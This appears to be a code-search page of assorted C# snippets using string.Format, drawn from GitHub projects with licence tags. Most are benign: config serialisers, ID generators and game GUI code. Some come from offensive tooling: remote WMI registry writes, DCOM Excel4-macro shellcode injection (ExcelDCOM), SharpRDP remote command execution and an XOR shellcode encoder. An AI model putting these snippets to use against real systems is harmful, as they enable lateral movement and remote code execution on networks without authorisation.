            ManagementScope scope = new ManagementScope(String.Format("\\\\{0}\\{1}", host, wmiNameSpace), options);
            try
            {
                scope.Connect();
                Console.WriteLine("[+] WMI connection established");
            }
            catch (Exception ex)
            {
                Console.WriteLine("[X] Failed to connect to to WMI    : {0}", ex.Message);
                return;
            }

            try
            {
                //Probably stay with string value only
                ManagementClreplaced registry = new ManagementClreplaced(scope, new ManagementPath("StdRegProv"), null);
                ManagementBaseObject inParams = registry.GetMethodParameters("SetStringValue");
                inParams["hDefKey"] = hive;
                inParams["sSubKeyName"] = reginfo[1];
                inParams["sValueName"] = valuename;
                inParams["sValue"] = datavals;
                ManagementBaseObject outParams = registry.InvokeMethod("SetStringValue", inParams, null);
                if(Convert.ToInt32(outParams["ReturnValue"]) == 0)
                {
                    Console.WriteLine("[+] Created {0} {1} and put content inside", keypath, valuename);
                }
                else
                {
                    Console.WriteLine("[-] An error occured, please check values");
                    return;
                }
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("[X] Error      :  {0}", ex.Message));
                return;
            }
        }

19 Source : AesGcm.cs
with GNU General Public License v3.0
from 0xfd3

private IntPtr ImportKey(IntPtr hAlg, byte[] key, out IntPtr hKey)
        {
            byte[] objLength = GetProperty(hAlg, BCrypt.BCRYPT_OBJECT_LENGTH);

            int keyDataSize = BitConverter.ToInt32(objLength, 0);

            IntPtr keyDataBuffer = Marshal.AllocHGlobal(keyDataSize);

            byte[] keyBlob = Concat(BCrypt.BCRYPT_KEY_DATA_BLOB_MAGIC, BitConverter.GetBytes(0x1), BitConverter.GetBytes(key.Length), key);

            uint status = BCrypt.BCryptImportKey(hAlg, IntPtr.Zero, BCrypt.BCRYPT_KEY_DATA_BLOB, out hKey, keyDataBuffer, keyDataSize, keyBlob, keyBlob.Length, 0x0);

            if (status != BCrypt.ERROR_SUCCESS)
                throw new CryptographicException(string.Format("BCrypt.BCryptImportKey() failed with status code:{0}", status));

            return keyDataBuffer;
        }

19 Source : AesGcm.cs
with GNU General Public License v3.0
from 0xfd3

private byte[] GetProperty(IntPtr hAlg, string name)
        {
            int size = 0;

            uint status = BCrypt.BCryptGetProperty(hAlg, name, null, 0, ref size, 0x0);

            if (status != BCrypt.ERROR_SUCCESS)
                throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() (get size) failed with status code:{0}", status));

            byte[] value = new byte[size];

            status = BCrypt.BCryptGetProperty(hAlg, name, value, value.Length, ref size, 0x0);

            if (status != BCrypt.ERROR_SUCCESS)
                throw new CryptographicException(string.Format("BCrypt.BCryptGetProperty() failed with status code:{0}", status));

            return value;
        }

19 Source : ExcelDCOM.cs
with GNU General Public License v3.0
from 0xthirteen

static void ExecExcelDCOM(string computername, string arch)
        {
            try
            {
                Type ComType = Type.GetTypeFromProgID("Excel.Application", computername);
		object RemoteComObject = Activator.CreateInstance(ComType);
                int lpAddress;
                if (arch == "x64")
                {
                    lpAddress = 1342177280;
                }
                else
                {
                    lpAddress = 0;
                }
                string strfn = ("$$PAYLOAD$$");
                byte[] benign = Convert.FromBase64String(strfn);

                var memaddr = Convert.ToDouble(RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\"," + lpAddress + "," + benign.Length + ",4096,64)" }));
                int count = 0;
                foreach (var mybyte in benign)
                {
                    var charbyte = String.Format("CHAR({0})", mybyte);
                    var ret = RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",-1, " + (memaddr + count) + "," + charbyte + ", 1, 0)" });
                    count = count + 1;
                }
                RemoteComObject.GetType().InvokeMember("ExecuteExcel4Macro", BindingFlags.InvokeMethod, null, RemoteComObject, new object[] { "CALL(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",0, 0, " + memaddr + ", 0, 0, 0)" });
                Console.WriteLine("[+] Executing against      :   {0}", computername);
            }
            
            catch (Exception e)
            {
                Console.WriteLine("[-] Error: {0}", e.Message);
            }
            
        }

19 Source : Program.cs
with BSD 3-Clause "New" or "Revised" License
from 0xthirteen

static void Main(string[] args)
        {
            AppDomain.CurrentDomain.replacedemblyResolve += (sender, argtwo) => {
                replacedembly thisreplacedembly = replacedembly.GetEntryreplacedembly();
                String resourceName = string.Format("SharpRDP.{0}.dll.bin",
                    new replacedemblyName(argtwo.Name).Name);
                var replacedembly = replacedembly.GetExecutingreplacedembly();
                using (var rs = replacedembly.GetManifestResourceStream(resourceName))
                using (var zs = new DeflateStream(rs, CompressionMode.Decompress))
                using (var ms = new MemoryStream())
                {
                    zs.CopyTo(ms);
                    return replacedembly.Load(ms.ToArray());
                }
            };

            var arguments = new Dictionary<string, string>();
            foreach (string argument in args)
            {
                int idx = argument.IndexOf('=');
                if (idx > 0)
                    arguments[argument.Substring(0, idx)] = argument.Substring(idx + 1);
            }

            string username = string.Empty;
            string domain = string.Empty;
            string preplacedword = string.Empty;
            string command = string.Empty;
            string execElevated = string.Empty;
            string execw = "";
            bool connectdrive = false;
            bool takeover = false;
            bool nla = false;
            
            if (arguments.ContainsKey("username"))
            {
                if (!arguments.ContainsKey("preplacedword"))
                {
                    Console.WriteLine("[X] Error: A preplacedword is required");
                    return;
                }
                else
                {
                    if (arguments["username"].Contains("\\"))
                    {
                        string[] tmp = arguments["username"].Split('\\');
                        domain = tmp[0];
                        username = tmp[1];
                    }
                    else
                    {
                        domain = ".";
                        username = arguments["username"];
                    }
                    preplacedword = arguments["preplacedword"];
                }
            }

            if (arguments.ContainsKey("preplacedword") && !arguments.ContainsKey("username"))
            {
                Console.WriteLine("[X] Error: A username is required");
                return;
            }
            if ((arguments.ContainsKey("computername")) && (arguments.ContainsKey("command")))
            {
                Client rdpconn = new Client();
                command = arguments["command"];
                if (arguments.ContainsKey("exec"))
                {
                    if (arguments["exec"].ToLower() == "cmd")
                    {
                        execw = "cmd";
                    }
                    else if (arguments["exec"].ToLower() == "powershell" || arguments["exec"].ToLower() == "ps")
                    {
                        execw = "powershell";
                    }
                }
                if (arguments.ContainsKey("elevated"))
                {
                    if(arguments["elevated"].ToLower() == "true" || arguments["elevated"].ToLower() == "win+r" || arguments["elevated"].ToLower() == "winr")
                    {
                        execElevated = "winr";
                    }
                    else if(arguments["elevated"].ToLower() == "taskmgr" || arguments["elevated"].ToLower() == "taskmanager")
                    {
                        execElevated = "taskmgr";
                    }
                    else
                    {
                        execElevated = string.Empty;
                    }
                }
                if (arguments.ContainsKey("connectdrive"))
                {
                    if(arguments["connectdrive"].ToLower() == "true")
                    {
                        connectdrive = true;
                    }
                }
                if (arguments.ContainsKey("takeover"))
                {
                    if (arguments["takeover"].ToLower() == "true")
                    {
                        takeover = true;
                    }
                }
                if (arguments.ContainsKey("nla"))
                {
                    if (arguments["nla"].ToLower() == "true")
                    {
                        nla = true;
                    }
                }
                string[] computerNames = arguments["computername"].Split(',');
                foreach (string server in computerNames)
                {
                    rdpconn.CreateRdpConnection(server, username, domain, preplacedword, command, execw, execElevated, connectdrive, takeover, nla);
                }
            }
            else
            {
                HowTo();
                return;
            }

        }

19 Source : IdWorker.cs
with MIT License
from 1100100

public virtual long NextId()
        {
            lock (_lock)
            {
                var timestamp = TimeGen();
                if (timestamp < _lastTimestamp)
                {
                    throw new Exception(string.Format("时间戳必须大于上一次生成ID的时间戳.  拒绝为{0}毫秒生成id", _lastTimestamp - timestamp));
                }

                //如果上次生成时间和当前时间相同,在同一毫秒内
                if (_lastTimestamp == timestamp)
                {
                    //sequence自增,和sequenceMask相与一下,去掉高位
                    _sequence = (_sequence + 1) & SequenceMask;
                    //判断是否溢出,也就是每毫秒内超过1024,当为1024时,与sequenceMask相与,sequence就等于0
                    if (_sequence == 0)
                    {
                        //等待到下一毫秒
                        timestamp = TilNextMillis(_lastTimestamp);
                    }
                }
                else
                {
                    //如果和上次生成时间不同,重置sequence,就是下一毫秒开始,sequence计数重新从0开始累加,
                    //为了保证尾数随机性更大一些,最后一位可以设置一个随机数
                    _sequence = 0;//new Random().Next(10);
                }

                _lastTimestamp = timestamp;
                return ((timestamp - Twepoch) << TimestampLeftShift) | (DatacenterId << DatacenterIdShift) | (WorkerId << WorkerIdShift) | _sequence;
            }
        }

19 Source : ICachingKeyGenerator.Default.cs
with MIT License
from 1100100

public string ReplacePlaceholder(string keyPlaceholder, bool customKey, object[] args)
        {
            if (args == null || args.Length <= 0) return keyPlaceholder;
            return customKey ? string.Format(keyPlaceholder, args) : string.Format(keyPlaceholder, MD5(Codec.Serialize(args)));
        }

19 Source : NailsConfig.cs
with MIT License
from 1upD

public static void WriteConfiguration(string filepath,  NailsConfig config)
		{
			try
			{
				log.Info(string.Format("Writing Nails configuration to file: {0}", filepath));

				XmlSerializer serializer = new XmlSerializer(typeof(NailsConfig));

				StreamWriter writer = new StreamWriter(filepath);
				serializer.Serialize(writer, config);
				writer.Close();
			}
			catch (Exception e)
			{
				log.Error(string.Format("Error writing Nails configuration to file: {0}", filepath), e);
			}
		}

19 Source : ConditionTaskForm.cs
with Apache License 2.0
from 214175590

private void var_list_MouseClick(object sender, MouseEventArgs e)
        {
            isClickItem = true;
            var c = var_list.SelectedItems;
            if (c.Count > 0)
            {
                var_list.Visible = false;
                ListViewItem item = (ListViewItem)var_list.SelectedItems[0];
                if (null != item)
                {
                    string s = shell.Text;
                    string vars = item.Text;
                    int idx = shell.SkinTxt.SelectionStart;
                    s = s.Insert(idx, string.Format("{{{0}}}", vars));
                    shell.Text = s;
                    shell.SkinTxt.SelectionStart = idx + vars.Length + 2;
                    shell.SkinTxt.Focus();
                }
            }
        }

19 Source : MonitorItemForm.cs
with Apache License 2.0
from 214175590

private void stb_home_url_Enter(object sender, EventArgs e)
        {
            string sdir = stb_project_source_dir.Text;
            string appname = stb_app_name.Text;
            string url = stb_home_url.Text;
            if(!string.IsNullOrWhiteSpace(sdir) && !string.IsNullOrWhiteSpace(appname) && url.EndsWith("[port]")){
                try
                {
                    if (get_spboot_port_run)
                    {
                        return;
                    }
                    get_spboot_port_run = true;
                    if (!sdir.EndsWith("/"))
                    {
                        sdir += "/";
                    }
                    string serverxml = string.Format("{0}{1}/src/main/resources/config/application-dev.yml", sdir, appname);
                    string targetxml = MainForm.TEMP_DIR + string.Format("application-dev-{0}.yml", DateTime.Now.ToString("MMddHHmmss"));
                    targetxml = targetxml.Replace("\\", "/");
                    parentForm.RunSftpShell(string.Format("get {0} {1}", serverxml, targetxml), false, false);
                    ThreadPool.QueueUserWorkItem((a) =>
                    {
                        Thread.Sleep(500);
                        string port = "", ctx = "";
                        string yml = YSTools.YSFile.readFileToString(targetxml);
                        if(!string.IsNullOrWhiteSpace(yml)){
                            string[] lines = yml.Split('\n');
                            bool find = false;                            
                            int index = 0, start = 0;
                            foreach(string line in lines){
                                if (line.Trim().StartsWith("server:"))
                                {
                                    find = true;
                                    start = index;
                                }
                                else if(find && line.Trim().StartsWith("port:")){
                                    port = line.Substring(line.IndexOf(":") + 1).Trim();
                                }
                                else if (find && line.Trim().StartsWith("context-path:"))
                                {
                                    ctx = line.Substring(line.IndexOf(":") + 1).Trim();
                                }
                                if (index - start > 4 && start > 0)
                                {
                                    break;
                                }
                                index++;
                            }
                        }

                        if (port != "")
                        {
                            stb_home_url.BeginInvoke((MethodInvoker)delegate()
                            {
                                stb_home_url.Text = string.Format("http://{0}:{1}{2}", config.Host, port, ctx);
                            });
                        }
                        
                        get_spboot_port_run = false;

                        File.Delete(targetxml);
                    });
                }
                catch(Exception ex) {
                    logger.Error("Error", ex);
                }

            }
        }

19 Source : AlifeConfigurator.cs
with MIT License
from 1upD

public static List<BaseAgent> ReadConfiguration(string filepath)
        {
            List<BaseAgent> agents = null;
            try
            {
                log.Info(string.Format("Loading artificial life configuration from file: {0}", filepath));
                XmlSerializer serializer = new XmlSerializer(typeof(List<BaseAgent>));

                StreamReader reader = new StreamReader(filepath);
                agents = (List<BaseAgent>)serializer.Deserialize(reader);
                reader.Close();
            }
            catch (Exception e)
            {
                log.Error(string.Format("Error reading artificial life configuration in file: {0}", filepath), e);
            }

            return agents;
        }

19 Source : AlifeConfigurator.cs
with MIT License
from 1upD

public static void WriteConfiguration(string filepath, List<BaseAgent> agents)
        {
            try
            {
                log.Info(string.Format("Writing artificial life configuration from file: {0}", filepath));

                XmlSerializer serializer = new XmlSerializer(typeof(List<BaseAgent>));

                StreamWriter writer = new StreamWriter(filepath);
                serializer.Serialize(writer, agents);
                writer.Close();
            }
            catch (Exception e)
            {
                log.Error(string.Format("Error writing artificial life configuration to file: {0}", filepath), e);
            }
        }

19 Source : VMFAdapter.cs
with MIT License
from 1upD

public void Export(NailsMap map)
        {
            try
            {

            log.Info(string.Format("Exporting Nails map data to VMF file: {0}", this._filename));

            // Make a deep copy of the stored VMF to add instances to
            VMF output_vmf = new VMFParser.VMF(this._vmf.ToVMFStrings());
            int i = 0;

            foreach(NailsCube cube in map.NailsCubes)
            {
                int x_pos = cube.X * this._horizontal_scale;
                int y_pos = cube.Y * this._horizontal_scale;
                int z_pos = cube.Z * this._vertical_scale;

                var faces = cube.GetFaces();

                if (faces.Contains(NailsCubeFace.Floor))
                {
                    instanceData instance = this.MakeInstance("floor", cube.StyleName, 0, i++, x_pos, y_pos, z_pos);
                    insertInstanceIntoVMF(instance, output_vmf);
                }

                if (faces.Contains(NailsCubeFace.Front))
                {
                    instanceData instance = this.MakeInstance("wall", cube.StyleName, 0, i++, x_pos, y_pos, z_pos);
                    insertInstanceIntoVMF(instance, output_vmf);
                }

                if (faces.Contains(NailsCubeFace.Left))
                {
                    instanceData instance = this.MakeInstance("wall", cube.StyleName, 90, i++, x_pos, y_pos, z_pos);
                    insertInstanceIntoVMF(instance, output_vmf);
                }

                if (faces.Contains(NailsCubeFace.Back))
                {
                    instanceData instance = this.MakeInstance("wall", cube.StyleName, 180, i++, x_pos, y_pos, z_pos);
                    insertInstanceIntoVMF(instance, output_vmf);
                }

                if (faces.Contains(NailsCubeFace.Right))
                {
                    instanceData instance = this.MakeInstance("wall", cube.StyleName, 270, i++, x_pos, y_pos, z_pos);
                    insertInstanceIntoVMF(instance, output_vmf);
                }

                if (faces.Contains(NailsCubeFace.Ceiling))
                {
                    instanceData instance = this.MakeInstance("ceiling", cube.StyleName, 0, i++, x_pos, y_pos, z_pos);
                    insertInstanceIntoVMF(instance, output_vmf);
                }
            }


            using (StreamWriter sw = new StreamWriter(new FileStream(this._filename, FileMode.Create)))
            {
                var vmfStrings = output_vmf.ToVMFStrings();
                foreach (string line in vmfStrings)
                {
                    sw.WriteLine(line);
                }
            }

            log.Info(string.Format("Wrote to VMF file: {0}", this._filename));

            } catch (Exception e)
            {
                log.Error("VMFAdapter.Export(): Caught exception: ", e);
                log.Info(string.Format("Failed to write to VMF file: {0}", this._filename));
            }


        }

19 Source : JScriptGenerator.cs
with MIT License
from 1y0n

public static string[] BinToBase64Lines(byte[] serialized_object)
        {
            int ofs = serialized_object.Length % 3;
            if (ofs != 0)
            {
                int length = serialized_object.Length + (3 - ofs);
                Array.Resize(ref serialized_object, length);
            }

            string base64 = Convert.ToBase64String(serialized_object, Base64FormattingOptions.InsertLineBreaks);
            return base64.Split(new string[] { Environment.NewLine }, StringSplitOptions.None).Select(s => String.Format("\"{0}\"", s)).ToArray();
        }

19 Source : Core.cs
with MIT License
from 1y0n

public static string XOR_C(string format, string raw)
        {
            string result = "";
            string[] shellcode_array = raw.Split(',');
            string[] temp = new string[shellcode_array.Length];
            int j = 234;
            int add = 12;
            for (int i = 0; i < shellcode_array.Length; i++)
            {
                temp[i] = string.Format("{0:x2}", string_to_int(shellcode_array[i]) ^ 123 ^ j);
                temp[i] = "0x" + temp[i].Substring(temp[i].Length - 2, 2);
                j += add;
            }
            result = string.Join(",", temp);
            //转换一下格式
            if (format == "c")
            {
                result = result.Replace("0x", @"\x").Replace(",", "");
            }
            return result;
        }

19 Source : DisplayGUI.cs
with MIT License
from 1ZouLTReX1

private void RTTCompactStats()
    {
        GUIStyle style = new GUIStyle();

        Rect rect = new Rect(offset + 110, offset, w, h);
        style.alignment = TextAnchor.UpperLeft;

        style.font = font;
        style.fontSize = fontSize;
        style.normal.textColor = Color.white;

        string text = string.Format("RTT:---");
        if (rtt >= 0)
            text = string.Format("RTT:{0}", rtt);
        GUI.Label(rect, text, style);
    }

19 Source : DisplayGUI.cs
with MIT License
from 1ZouLTReX1

private void AngleLabel()
    {
        GUIStyle style = new GUIStyle();

        Rect rect = new Rect(offset, -offset, w, h);
        style.alignment = TextAnchor.LowerLeft;

        style.font = font;
        style.fontSize = fontSize;
        style.normal.textColor = Color.white;

        Vector2 mousePos = cam.ScreenToWorldPoint(Input.mousePosition);
        Vector2 mouseDir = mousePos - (Vector2) playerLocal.transform.position;
        float zAngle = Mathf.Atan2(mouseDir.y, mouseDir.x) * Mathf.Rad2Deg;
        string text = String.Format("Angle: {0,6:0.0}", zAngle);
        GUI.Label(rect, text, style);
    }

19 Source : Program.cs
with MIT License
from 1upD

private static object HandleParseError(object errs)
        {
            log.Error(string.Format("Parsing error: {0}", errs.ToString()));
            return null;
        }

19 Source : VMFAdapter.cs
with MIT License
from 1upD

private static void insertInstanceIntoVMF(instanceData instance, VMF output_vmf)
        {
            try
            {
                IList<int> list = null;

                VBlock instance_block = new VBlock("enreplacedy");
                instance_block.Body.Add(new VProperty("id", instance.ent_id.ToString()));
                instance_block.Body.Add(new VProperty("clreplacedname", "func_instance"));
                instance_block.Body.Add(new VProperty("angles", "0 " + instance.rotation + " 0"));
                instance_block.Body.Add(new VProperty("origin", instance.xpos + " " + instance.ypos + " " + instance.zpos));
                instance_block.Body.Add(new VProperty("file", instance.filename));
                output_vmf.Body.Add(instance_block);
            }
            catch (Exception e)
            {
                log.Error("VMFAdapter.insertInstanceIntoVMF(): Caught exception: ", e);
                log.Info(string.Format("Failed to insert instance: {0}", instance.filename));
            }
        }

19 Source : InputSshPwdForm.cs
with Apache License 2.0
from 214175590

private void InputSshPwdForm_Load(object sender, EventArgs e)
        {
            
            this.Text = this.host;
            label_name.Text = string.Format("请输入[{0}]的密码:", this.userName);

            preplacedword.SkinTxt.KeyUp += SkinTxt_KeyUp;
        }

19 Source : AIClient.cs
with MIT License
from 1ZouLTReX1

private void ClientConnectCallback(IAsyncResult ar)
    {
        try
        {
            // Retrieve the socket from the state object.  
            Socket client = (Socket)ar.AsyncState;
            // Complete the connection.  
            client.EndConnect(ar);
            // Disable the Nagle Algorithm for this tcp socket.
            client.NoDelay = true;
            // Set the receive buffer size to 4k
            client.ReceiveBufferSize = 4096;
            // Set the send buffer size to 4k.
            client.SendBufferSize = 4096;

            isConnected = true;
        }
        catch (Exception e)
        {
            Debug.Log("Something went wrong and the socket couldn't connect");
            Debug.Log(e.ToString());
            return;
        }

        // Setup done, ConnectDone.
        Debug.Log(string.Format("Socket connected to {0}", clientSock.RemoteEndPoint.ToString()));
        Debug.Log("Connected, Setup Done");
    }

19 Source : Client.cs
with MIT License
from 1ZouLTReX1

private void ClientConnectCallback(IAsyncResult ar)
    {
        try
        {
            // Retrieve the socket from the state object.  
            Socket client = (Socket)ar.AsyncState;
            // Complete the connection.  
            client.EndConnect(ar);
            // Disable the Nagle Algorithm for this tcp socket.
            client.NoDelay = true;
            // Set the receive buffer size to 4k
            client.ReceiveBufferSize = 4096;
            // Set the send buffer size to 4k.
            client.SendBufferSize = 4096;

            isConnected = true;
        }
        catch (Exception e)
        {
            UnityThread.executeInUpdate(() =>
            {
                networkErrorMsgFailed.SetActive(true);
            });

            Debug.Log("Something went wrong and the socket couldn't connect");
            Debug.Log(e.ToString());
            return;
        }

        // Setup done, ConnectDone.
        Debug.Log(string.Format("Socket connected to {0}", clientSock.RemoteEndPoint.ToString()));
        Debug.Log("Connected, Setup Done");

        UnityThread.executeInUpdate(() =>
        {
            networkStatePanel.SetActive(false);
            networkConnectPanel.SetActive(false);

            networkAlgorithmsPanel.SetActive(true);
            graphyOverlay.SetActive(true);
        });

        // Start the receive thread
        StartReceive();
    }

19 Source : AppConfig.cs
with Apache License 2.0
from 214175590

public void SaveConfig(int type = 0)
        {
            if(type == 0 || type == 1){
                try
                {
                    string mconfig = JsonConvert.SerializeObject(MConfig, Formatting.Indented);
                    if (!string.IsNullOrWhiteSpace(mconfig))
                    {
                        YSTools.YSFile.writeFileByString(MainForm.CONF_DIR + MC_NAME, mconfig, false, CONFIG_KEY);
                    }
                }
                catch (Exception ex)
                {
                    logger.Error("保存Main配置文件异常:" + ex.Message);
                    logger.Error("--->" + MC_NAME);
                }
            }

            if (type == 0 || type == 2)
            {
                string sconfig = null, scname = null;
                int index = 0;
                List<string> newFiles = new List<string>();
                foreach (KeyValuePair<string, SessionConfig> item in SessionConfigDict)
                {
                    try
                    {
                        sconfig = JsonConvert.SerializeObject(item.Value, Formatting.Indented);
                        if (!string.IsNullOrWhiteSpace(sconfig))
                        {
                            scname = string.Format("session{0}.json", index);
                            YSTools.YSFile.writeFileByString(MainForm.SESSION_DIR + scname, sconfig, false, CONFIG_KEY);
                            newFiles.Add(scname);
                            index++;
                        }
                    }
                    catch (Exception ex)
                    {
                        logger.Error("保存Session配置文件异常:" + ex.Message);
                        logger.Error("--->" + item.Key);
                    }
                }

                DirectoryInfo dirs = new DirectoryInfo(MainForm.SESSION_DIR);
                FileInfo[] files = dirs.GetFiles();
                foreach(FileInfo file in files){
                    if (!newFiles.Contains(file.Name))
                    {
                        file.Delete();
                    }
                }
            }
            
        }

19 Source : IceMonitorForm.cs
with Apache License 2.0
from 214175590

private void linkLabel1_LinkClicked(object sender, LinkLabelLinkClickedEventArgs e)
        {
            try
            {
                if (get_srvxml_run)
                {
                    return;
                }
                get_srvxml_run = true;
                linkLabel1.Enabled = false;

                string targetxml = MainForm.TEMP_DIR + string.Format("srv-{0}.xml", DateTime.Now.ToString("MMddHHmmss"));
                targetxml = targetxml.Replace("\\", "/");
                string serverxml = string.Format("{0}config/{1}.xml", l_pro_path.Text, l_appname.Text);

                TextEditorForm editor = new TextEditorForm();
                editor.Show(this);

                editor.LoadRemoteFile(new ShellForm(monitorForm), serverxml, targetxml);
            }
            catch { }

            get_srvxml_run = false;
            linkLabel1.Enabled = true; 
        }

See More Examples